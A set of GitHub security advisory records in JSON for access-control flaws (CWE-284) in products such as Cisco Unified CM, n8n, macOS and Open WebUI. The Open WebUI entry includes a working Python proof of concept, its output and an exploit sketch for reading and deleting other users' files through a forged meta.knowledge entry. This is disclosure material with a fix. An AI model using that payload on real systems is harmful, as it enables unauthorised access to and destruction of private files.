CWE-284

{
  "affected": [],
  "aliases": [
    "CVE-2022-20859"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-06T21:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the Disaster Recovery framework of Cisco Unified Communications Manager (Unified CM), Cisco Unified Communications Manager IM \u0026amp; Presence Service (Unified CM IM\u0026amp;P), and Cisco Unity Connection could allow an authenticated, remote attacker to perform certain administrative actions they should not be able to. This vulnerability is due to insufficient access control checks on the affected device. An attacker with read-only privileges could exploit this vulnerability by executing a specific vulnerable command on an affected device. A successful exploit could allow the attacker to perform a set of administrative actions they should not be able to.",
  "id": "GHSA-vjcc-9q9g-593v",
  "modified": "2022-07-15T00:00:17Z",
  "published": "2022-07-07T00:00:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20859"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ucm-access-dMKvV2DY"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "n8n"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-284",
      "CWE-287"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-02-26T22:45:13Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Impact\nAn authenticated user signed in through Single Sign-On (SSO) could disable SSO enforcement for their own account through the n8n API. This allowed the user to create a local password and authenticate directly with email and password, completely bypassing the organization\u0027s SSO policy, centralized identity management, and any identity-provider-enforced multi-factor authentication.\n\n## Patches\nThe issue has been fixed in n8n version 2.8.0. Users should upgrade to this version or later to remediate the vulnerability.\n\n## Workarounds\nIf upgrading is not immediately possible, administrators should consider the following temporary mitigations:\n- Monitor audit logs for users who create local credentials after authenticating via SSO.\n- Restrict the n8n instance to fully trusted users only.\n\nThese workarounds do not fully remediate the risk and should only be used as short-term mitigation measures.",
  "id": "GHSA-vjf3-2gpj-233v",
  "modified": "2026-02-26T22:45:14Z",
  "published": "2026-02-26T22:45:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/security/advisories/GHSA-vjf3-2gpj-233v"
    },
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/commit/a70b2ea379086da3de103bb84811e88cadf29976"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/n8n-io/n8n"
    },
    {
      "type": "WEB",
      "url": "https://github.com/n8n-io/n8n/releases/tag/n8n@2.8.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "n8n has an SSO Enforcement Bypass in its Self-Service Settings API"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-24248"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-31T23:15:21Z",
    "severity": "MODERATE"
  },
  "details": "A permissions issue was addressed with additional restrictions. This issue is fixed in macOS Sequoia 15.4. An app may be able to enumerate devices that have signed into the user\u0027s Apple Account.",
  "id": "GHSA-vjfx-mp69-qfw4",
  "modified": "2025-11-04T00:32:21Z",
  "published": "2025-04-01T00:30:39Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-24248"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/122373"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/Apr/8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-1316"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-269",
      "CWE-284",
      "CWE-732"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-04-11T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "ZeroTierOne for windows local privilege escalation because of incorrect directory privilege in GitHub repository zerotier/zerotierone prior to 1.8.8. Local Privilege Escalation",
  "id": "GHSA-vjh4-2h5f-4qp2",
  "modified": "2022-04-19T00:01:24Z",
  "published": "2022-04-12T00:00:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-1316"
    },
    {
      "type": "WEB",
      "url": "https://github.com/zerotier/zerotierone/commit/ffb444dbeb6bea3cb155502395e61cb6d18708c9"
    },
    {
      "type": "WEB",
      "url": "https://huntr.dev/bounties/e7835226-1b20-4546-b256-3f625badb022"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-13249"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-16T12:15:42Z",
    "severity": "MODERATE"
  },
  "details": "A security vulnerability has been detected in Jiusi OA up to 20251102. This affects an unknown function of the file /OfficeServer?isAjaxDownloadTemplate=false of the component OfficeServer Interface. Such manipulation of the argument FileData leads to unrestricted upload. The attack can be launched remotely. The exploit has been disclosed publicly and may be used.",
  "id": "GHSA-vjm2-vp2c-vqmw",
  "modified": "2025-11-16T12:30:24Z",
  "published": "2025-11-16T12:30:24Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13249"
    },
    {
      "type": "WEB",
      "url": "https://github.com/rooboot501/my-project/blob/main/jiousi.md"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.332583"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.332583"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.687599"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-3041"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-434"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-01T00:15:15Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability classified as critical has been found in Project Worlds Online Time Table Generator 1.0. This affects an unknown part of the file /admin/updatestudent.php. The manipulation of the argument pic leads to unrestricted upload. It is possible to initiate the attack remotely. The exploit has been disclosed to the public and may be used.",
  "id": "GHSA-vjmg-6qjc-gxgh",
  "modified": "2025-04-01T00:30:46Z",
  "published": "2025-04-01T00:30:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3041"
    },
    {
      "type": "WEB",
      "url": "https://github.com/ydnd/cve/issues/12"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.302103"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.302103"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.524935"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 0.9.5"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "open-webui"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.9.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54012"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-285",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-17T14:15:33Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nOpen WebUI lets a user who can create, update, or import workspace models store arbitrary `meta.knowledge` entries on their model without checking whether they own or can read the referenced files. Open WebUI then treats `meta.knowledge` entries of type `file` as an authorization source in two places: the built-in `view_file` tool reads the file\u0027s extracted text, and `has_access_to_file()`\u0027s model branch authorizes the file content and file delete endpoints. A malicious model owner can therefore attach another user\u0027s file ID to their model metadata and read or delete that private file.\n\n## Impact\n\nSecurity boundary crossed: file confidentiality and integrity.\n\nAn authenticated attacker needs the `workspace.models` or `workspace.models_import` permission (or write access to an existing model) and a victim file ID. With those, for a file they do not own and cannot otherwise read, the attacker can:\n\n- read the file\u0027s extracted text (up to `100000` characters per `view_file` call from `file.data.content`),\n- read the file\u0027s content via `GET /api/v1/files/{id}/content`, and\n- delete the file via `DELETE /api/v1/files/{id}`.\n\n## Root Cause\n\n`ModelMeta` allows extra metadata fields and `ModelForm` accepts that metadata without a validator for `meta.knowledge` file access:\n\n```python\n# backend/open_webui/models/models.py\nclass ModelForm(BaseModel):\n    model_config = ConfigDict(extra=\u0027ignore\u0027)\n\n    id: str\n    base_model_id: Optional[str] = None\n    name: str\n    meta: ModelMeta\n    params: ModelParams\n```\n\nModel creation only checks the caller\u0027s model-workspace permission and then stores the form data:\n\n```python\n# backend/open_webui/routers/models.py\nif user.role != \u0027admin\u0027 and not await has_permission(\n    user.id, \u0027workspace.models\u0027, request.app.state.config.USER_PERMISSIONS, db=db\n):\n    raise HTTPException(...)\n\nmodel = await Models.insert_new_model(form_data, user.id, db=db)\n```\n\nThe insert sink persists the supplied `meta`:\n\n```python\n# backend/open_webui/models/models.py\nresult = Model(\n    **{\n        **form_data.model_dump(exclude={\u0027access_grants\u0027}),\n        \u0027user_id\u0027: user_id,\n        ...\n    }\n)\n```\n\nWhen built-in tools are assembled, `meta.knowledge` is passed through as `__model_knowledge__`, and any `file` entry enables `view_file`:\n\n```python\n# backend/open_webui/utils/tools.py\nmodel_knowledge = model.get(\u0027info\u0027, {}).get(\u0027meta\u0027, {}).get(\u0027knowledge\u0027, [])\n...\nknowledge_types = {item.get(\u0027type\u0027) for item in model_knowledge}\nif \u0027file\u0027 in knowledge_types or \u0027collection\u0027 in knowledge_types:\n    builtin_functions.append(view_file)\n```\n\n`view_file` treats matching `__model_knowledge__` file IDs as authorization, before `has_access_to_file()`:\n\n```python\n# backend/open_webui/tools/builtin.py\nif (\n    file.user_id != user_id\n    and user_role != \u0027admin\u0027\n    and not any(\n        item.get(\u0027type\u0027) == \u0027file\u0027 and item.get(\u0027id\u0027) == file_id for item in (__model_knowledge__ or [])\n    )\n    and not await has_access_to_file(...)\n):\n    return json.dumps({\u0027error\u0027: \u0027File not found\u0027})\n```\n\nThe same forged `meta.knowledge` is also trusted outside the tool path. `has_access_to_file()` iterates the caller\u0027s accessible models and returns true when a model\u0027s `meta.knowledge` contains the requested file ID:\n\n```python\n# backend/open_webui/utils/access_control/files.py\nfor model in await Models.get_models_by_user_id(user.id, permission=access_type, db=db):\n    knowledge_items = getattr(model.meta, \u0027knowledge\u0027, None) or []\n    for item in knowledge_items:\n        if isinstance(item, dict) and item.get(\u0027type\u0027) == \u0027file\u0027 and item.get(\u0027id\u0027) == file.id:\n            return True\n```\n\nThis branch is not restricted to read, so it also satisfies the `write` check that `DELETE /api/v1/files/{id}` performs. The same missing validation applies to the import path (`POST /api/v1/models/import`) and the update path, not only create.\n\n## PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nVerifier for forged model meta.knowledge file entries reaching builtin tools.\n\nThe proof executes:\n  - the real Models.insert_new_model() sink with a forged meta.knowledge entry\n  - the real builtin view_file() authorization branch\n\nFake DB/model adapters are used only to avoid requiring a live Open WebUI\nserver. The security-sensitive code under test is Open WebUI application code.\n\"\"\"\n\nfrom __future__ import annotations\n\nimport asyncio\nimport ast\nimport json\nimport os\nimport sys\nimport types\nfrom pathlib import Path\nfrom types import SimpleNamespace\n\nREPO = Path(__file__).resolve().parents[1]\nBUILTIN_TOOLS = REPO / \"backend/open_webui/tools/builtin.py\"\n\n\ndef prepare_imports() -\u003e None:\n    sys.path.insert(0, str(REPO / \"backend\"))\n    os.environ[\"VECTOR_DB\"] = \"none\"\n\n    class DummyTyper:\n        def command(self, *args, **kwargs):\n            return lambda fn: fn\n\n    sys.modules.setdefault(\n        \"typer\",\n        types.SimpleNamespace(\n            Typer=lambda *args, **kwargs: DummyTyper(),\n            Option=lambda *args, **kwargs: None,\n            echo=lambda *args, **kwargs: None,\n            Exit=Exception,\n        ),\n    )\n    sys.modules.setdefault(\"uvicorn\", types.SimpleNamespace(run=lambda *args, **kwargs: None))\n\n\nclass FakeDb:\n    def __init__(self):\n        self.added = []\n        self.committed = False\n        self.refreshed = False\n\n    def add(self, row):\n        self.added.append(row)\n\n    async def commit(self):\n        self.committed = True\n\n    async def refresh(self, row):\n        self.refreshed = True\n\n\nclass FakeDbContext:\n    def __init__(self, db):\n        self.db = db\n\n    async def __aenter__(self):\n        return self.db\n\n    async def __aexit__(self, exc_type, exc, tb):\n        return False\n\n\nasync def verify_model_insert_accepts_victim_file(victim_file_id: str):\n    import open_webui.models.models as models_module\n\n    fake_db = FakeDb()\n    original_context = models_module.get_async_db_context\n    original_set_grants = models_module.AccessGrants.set_access_grants\n    original_to_model = models_module.Models._to_model_model\n\n    async def fake_set_access_grants(*args, **kwargs):\n        return True\n\n    async def fake_to_model(self, model, access_grants=None, db=None):\n        return SimpleNamespace(\n            id=model.id,\n            user_id=model.user_id,\n            base_model_id=model.base_model_id,\n            name=model.name,\n            params=model.params,\n            meta=model.meta,\n            access_grants=[],\n            is_active=model.is_active,\n            created_at=model.created_at,\n            updated_at=model.updated_at,\n        )\n\n    try:\n        models_module.get_async_db_context = lambda db=None: FakeDbContext(fake_db)\n        models_module.AccessGrants.set_access_grants = fake_set_access_grants\n        models_module.Models._to_model_model = types.MethodType(fake_to_model, models_module.Models)\n\n        inserted = await models_module.Models.insert_new_model(\n            models_module.ModelForm(\n                id=\"attacker-model\",\n                base_model_id=\"gpt-vision-base\",\n                name=\"Attacker Model\",\n                params={},\n                meta={\n                    \"knowledge\": [\n                        {\n                            \"id\": victim_file_id,\n                            \"type\": \"file\",\n                            \"name\": \"victim-private.txt\",\n                        }\n                    ],\n                    \"builtinTools\": {\"knowledge\": True},\n                },\n            ),\n            user_id=\"attacker\",\n        )\n    finally:\n        models_module.get_async_db_context = original_context\n        models_module.AccessGrants.set_access_grants = original_set_grants\n        models_module.Models._to_model_model = original_to_model\n\n    stored_meta = [getattr(row, \"meta\", None) for row in fake_db.added]\n    stored_knowledge_ids = [\n        item.get(\"id\")\n        for meta in stored_meta\n        for item in ((meta or {}).get(\"knowledge\") or [])\n    ]\n\n    return {\n        \"insert_returned_model\": bool(inserted),\n        \"db_commit_called\": fake_db.committed,\n        \"stored_user_ids\": [getattr(row, \"user_id\", None) for row in fake_db.added],\n        \"stored_model_ids\": [getattr(row, \"id\", None) for row in fake_db.added],\n        \"stored_knowledge_file_ids\": stored_knowledge_ids,\n    }\n\n\nasync def verify_view_file_trusts_model_knowledge(victim_file_id: str):\n    class FakeFiles:\n        looked_up_ids = []\n\n        async def get_file_by_id(self, file_id, db=None):\n            self.looked_up_ids.append(file_id)\n            if file_id == victim_file_id:\n                return SimpleNamespace(\n                    id=victim_file_id,\n                    user_id=\"victim\",\n                    filename=\"victim-private.txt\",\n                    data={\"content\": \"PRIVATE_MODEL_KNOWLEDGE_SECRET\"},\n                    created_at=1,\n                    updated_at=2,\n                )\n            return None\n\n    async def fake_has_access_to_file(file_id, access_type, user, db=None):\n        return False\n\n    class FakeUserModel:\n        def __init__(self, **kwargs):\n            self.__dict__.update(kwargs)\n\n    fake_files = FakeFiles()\n    fake_files_module = types.SimpleNamespace(Files=fake_files)\n    fake_file_acl_module = types.SimpleNamespace(has_access_to_file=fake_has_access_to_file)\n\n    original_files_module = sys.modules.get(\"open_webui.models.files\")\n    original_acl_module = sys.modules.get(\"open_webui.utils.access_control.files\")\n\n    try:\n        sys.modules[\"open_webui.models.files\"] = fake_files_module\n        sys.modules[\"open_webui.utils.access_control.files\"] = fake_file_acl_module\n\n        source = BUILTIN_TOOLS.read_text(encoding=\"utf-8\")\n        tree = ast.parse(source, filename=str(BUILTIN_TOOLS))\n        selected = [\n            node\n            for node in tree.body\n            if isinstance(node, ast.AsyncFunctionDef) and node.name == \"view_file\"\n        ]\n        if len(selected) != 1:\n            raise RuntimeError(\"could not find view_file\")\n        module = ast.Module(body=selected, type_ignores=[])\n        ast.fix_missing_locations(module)\n        ns = {\n            \"json\": json,\n            \"Optional\": __import__(\"typing\").Optional,\n            \"Request\": object,\n            \"UserModel\": FakeUserModel,\n            \"log\": SimpleNamespace(exception=lambda *args, **kwargs: None),\n            \"MAX_VIEW_FILE_CHARS\": 100_000,\n            \"DEFAULT_VIEW_FILE_MAX_CHARS\": 10_000,\n        }\n        exec(compile(module, str(BUILTIN_TOOLS), \"exec\"), ns)\n        view_file = ns[\"view_file\"]\n\n        denied_without_model_knowledge = await view_file(\n            victim_file_id,\n            __request__=SimpleNamespace(),\n            __user__={\"id\": \"attacker\", \"role\": \"user\", \"name\": \"attacker\", \"email\": \"a@example.test\"},\n            __model_knowledge__=[],\n        )\n        allowed_with_model_knowledge = await view_file(\n            victim_file_id,\n            __request__=SimpleNamespace(),\n            __user__={\"id\": \"attacker\", \"role\": \"user\", \"name\": \"attacker\", \"email\": \"a@example.test\"},\n            __model_knowledge__=[{\"id\": victim_file_id, \"type\": \"file\"}],\n        )\n    finally:\n        if original_files_module is not None:\n            sys.modules[\"open_webui.models.files\"] = original_files_module\n        else:\n            sys.modules.pop(\"open_webui.models.files\", None)\n        if original_acl_module is not None:\n            sys.modules[\"open_webui.utils.access_control.files\"] = original_acl_module\n        else:\n            sys.modules.pop(\"open_webui.utils.access_control.files\", None)\n\n    denied = json.loads(denied_without_model_knowledge)\n    allowed = json.loads(allowed_with_model_knowledge)\n    return {\n        \"file_ids_looked_up\": fake_files.looked_up_ids,\n        \"without_model_knowledge\": denied,\n        \"with_forged_model_knowledge\": allowed,\n        \"private_content_disclosed\": allowed.get(\"content\") == \"PRIVATE_MODEL_KNOWLEDGE_SECRET\",\n    }\n\n\nasync def main() -\u003e None:\n    prepare_imports()\n    victim_file_id = \"victim-private-file\"\n\n    insert_sink = await verify_model_insert_accepts_victim_file(victim_file_id)\n    tool_read = await verify_view_file_trusts_model_knowledge(victim_file_id)\n\n    result = {\n        \"confirmed\": (\n            insert_sink[\"insert_returned_model\"] is True\n            and insert_sink[\"stored_user_ids\"] == [\"attacker\"]\n            and insert_sink[\"stored_knowledge_file_ids\"] == [victim_file_id]\n            and tool_read[\"without_model_knowledge\"].get(\"error\") == \"File not found\"\n            and tool_read[\"private_content_disclosed\"] is True\n        ),\n        \"attacker_user_id\": \"attacker\",\n        \"victim_user_id\": \"victim\",\n        \"victim_file_id\": victim_file_id,\n        \"attacker_owns_file\": False,\n        \"model_insert_sink\": insert_sink,\n        \"tool_read\": tool_read,\n        \"source\": {\n            \"insert_sink\": \"backend/open_webui/models/models.py:Models.insert_new_model\",\n            \"tool_injection\": \"backend/open_webui/utils/tools.py:get_builtin_tools passes model meta.knowledge as __model_knowledge__\",\n            \"read_sink\": \"backend/open_webui/tools/builtin.py:view_file\",\n        },\n    }\n    print(json.dumps(result, indent=2, sort_keys=True))\n    if not result[\"confirmed\"]:\n        raise SystemExit(1)\n\n\nif __name__ == \"__main__\":\n    asyncio.run(main())\n```\n\nThe PoC executes the real `Models.insert_new_model()` sink and the real `view_file()` authorization branch with fake database/file adapters. It first confirms that the attacker-owned model stores a forged victim file ID in `meta.knowledge`, then confirms `view_file()` denies the same victim file without model knowledge but discloses content when the forged model knowledge entry is present.\n\nResult:\n\n```json\n{\n  \"attacker_owns_file\": false,\n  \"attacker_user_id\": \"attacker\",\n  \"confirmed\": true,\n  \"model_insert_sink\": {\n    \"db_commit_called\": true,\n    \"insert_returned_model\": true,\n    \"stored_knowledge_file_ids\": [\n      \"victim-private-file\"\n    ],\n    \"stored_model_ids\": [\n      \"attacker-model\"\n    ],\n    \"stored_user_ids\": [\n      \"attacker\"\n    ]\n  },\n  \"tool_read\": {\n    \"private_content_disclosed\": true,\n    \"with_forged_model_knowledge\": {\n      \"content\": \"PRIVATE_MODEL_KNOWLEDGE_SECRET\",\n      \"filename\": \"victim-private.txt\",\n      \"id\": \"victim-private-file\"\n    },\n    \"without_model_knowledge\": {\n      \"error\": \"File not found\"\n    }\n  },\n  \"victim_file_id\": \"victim-private-file\",\n  \"victim_user_id\": \"victim\"\n}\n```\n\n## Exploit Sketch\n\n1. Attacker has permission to create or update workspace models.\n2. Attacker creates a model with:\n\n```json\n{\n  \"meta\": {\n    \"knowledge\": [\n      {\n        \"id\": \"VICTIM_FILE_ID\",\n        \"type\": \"file\",\n        \"name\": \"victim-private.txt\"\n      }\n    ],\n    \"builtinTools\": {\n      \"knowledge\": true\n    }\n  }\n}\n```\n\n3. Attacker chats with that model using native/built-in tools and invokes `view_file` for `VICTIM_FILE_ID`.\n4. The tool returns the victim file\u0027s extracted text content despite the attacker not owning or otherwise having access to the file.\n\n## Recommended Fix\n\nValidate `meta.knowledge` on every model write path: create, update, and import. For entries with `type == \"file\"`, require direct ownership, admin role, or `has_access_to_file(file_id, \u0027read\u0027, user, db=db)` before storing the entry. Validate the import payload before its surrounding try/except so a rejection surfaces as `403`, not `500`.\n\nDo not let `view_file()` treat `__model_knowledge__` as an authorization bypass; it should still enforce ownership/admin/`has_access_to_file()` per file ID. File deletion should require ownership, admin, or explicit write/delete access, not a read-derived model association.\n\n## Consolidation\n\nPer our Report Handling policy this consolidates independent reports of the same model `meta.knowledge` file-ID laundering flaw:\n\n- Read via forged `meta.knowledge` on model create, through the built-in `view_file` tool: @0xEr3n (earliest filing).\n- Distinct paths demonstrated by @5yu4n: the import endpoint (`POST /api/v1/models/import`), and cross-user read and deletion through the file API (`GET` / `DELETE /api/v1/files/{id}`) via `has_access_to_file()`\u0027s model branch.\n\nFix validates `meta.knowledge` ownership on create, update, and import; blocking the forged entry closes both read and delete. One CVE for the consolidated advisory.",
  "id": "GHSA-vjqm-6gcc-62cr",
  "modified": "2026-06-17T14:15:33Z",
  "published": "2026-06-17T14:15:33Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-vjqm-6gcc-62cr"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/open-webui/open-webui"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Open WebUI: Forged model meta.knowledge allows cross-user file read and deletion"
}

{
  "affected": [],
  "aliases": [
    "CVE-2022-32902"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-27T20:15:00Z",
    "severity": "MODERATE"
  },
  "details": "A logic issue was addressed with improved state management. This issue is fixed in macOS Ventura 13, macOS Monterey 12.6, macOS Big Sur 11.7. An app may be able to bypass Privacy preferences.",
  "id": "GHSA-vm26-wxgq-mf6w",
  "modified": "2023-03-07T21:30:16Z",
  "published": "2023-02-27T21:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-32902"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213443"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213444"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/HT213488"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2024-40531"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-08-05T16:15:36Z",
    "severity": "HIGH"
  },
  "details": "An issue in UAB Lexita PanteraCRM CMS v.401.152 and Patera CRM CMS v.402.072 allows a remote attacker to escalate privileges via the user profile management function.",
  "id": "GHSA-vm46-9fq2-ghm4",
  "modified": "2024-08-07T21:31:43Z",
  "published": "2024-08-05T18:31:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-40531"
    },
    {
      "type": "WEB",
      "url": "https://critical.lt/blog/authorization-bypass-and-mass-assignment-in-pantera-crm"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-4006"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-28T07:15:14Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability classified as critical has been found in youyiio BeyongCms 1.6.0. Affected is an unknown function of the file /admin/theme/Upload.html of the component Document Management Page. The manipulation of the argument File leads to unrestricted upload. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.",
  "id": "GHSA-vm4q-rh8m-x3pg",
  "modified": "2025-04-28T09:31:53Z",
  "published": "2025-04-28T09:31:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-4006"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.306342"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.306342"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.558152"
    },
    {
      "type": "WEB",
      "url": "https://wiki.shikangsi.com/post/share/7e2d3cf9-6463-4331-a1f5-c270d5695266"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}